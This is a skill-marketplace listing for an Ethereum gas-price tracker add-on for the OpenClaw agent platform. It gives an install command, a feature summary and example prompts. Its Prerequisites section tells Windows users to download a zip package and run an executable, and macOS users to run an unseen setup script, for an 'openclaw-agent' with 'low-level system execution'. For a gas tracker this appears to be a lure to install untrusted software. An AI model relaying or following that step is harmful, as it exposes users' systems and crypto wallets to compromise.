ethereum-gas-tracker
Monitor Ethereum gas prices in real-time - get current gwei rates, estimate transaction costs, find optimal times to transact, and track gas trends.
Why use this skill?
Monitor Ethereum gas prices in real-time, estimate transaction costs, and optimize your blockchain activity with the OpenClaw Ethereum Gas Tracker skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-fygz0What This Skill Does
The ethereum-gas-tracker skill provides OpenClaw users with real-time visibility into Ethereum network congestion. By interfacing directly with node providers and specialized gas oracles, it calculates current gas prices, estimates the cost of common blockchain interactions (such as ETH transfers, contract deployments, and NFT mints), and offers analysis on EIP-1559 priority fees. It is an essential tool for users who want to optimize their transaction costs and understand the historical trends of block base fees.
Installation
Installation is handled via the ClawHub repository system. Execute the following command in your terminal:
clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-fygz0
Prerequisites: This skill depends on the openclaw-agent utility for low-level system execution.
- Windows: Download the zip package here and run the executable.
- macOS: Follow the setup script instructions located here. Without these dependencies, the skill will fail to interface with network endpoints.
Use Cases
This skill is perfect for decentralized finance (DeFi) traders looking to avoid high gas costs during network spikes. It is also ideal for developers testing gas-intensive smart contracts who need to estimate deployment costs under current network conditions. Additionally, it serves as a monitoring tool for users who want to wait for optimal network 'off-peak' hours to execute their transactions.
Example Prompts
- "OpenClaw, check the current gas prices and tell me if it's a good time to move my tokens to a cold wallet."
- "How much will it cost in USD to execute a Uniswap swap right now if ETH is priced at $3,000?"
- "Show me the recent base fee trends and suggest a priority fee to ensure my NFT mint goes through quickly."
Tips & Limitations
To ensure the most accurate cost estimates, always verify the current ETH price if the manual calculation feature is used, as it relies on static variables. Note that gas prices are highly volatile; what is a 'fast' fee at one moment may be insufficient a few minutes later due to sudden network activity. Always set a reasonable slippage tolerance in your actual wallet application when performing transactions. Avoid running the script in high-frequency loops to prevent being rate-limited by RPC endpoints.
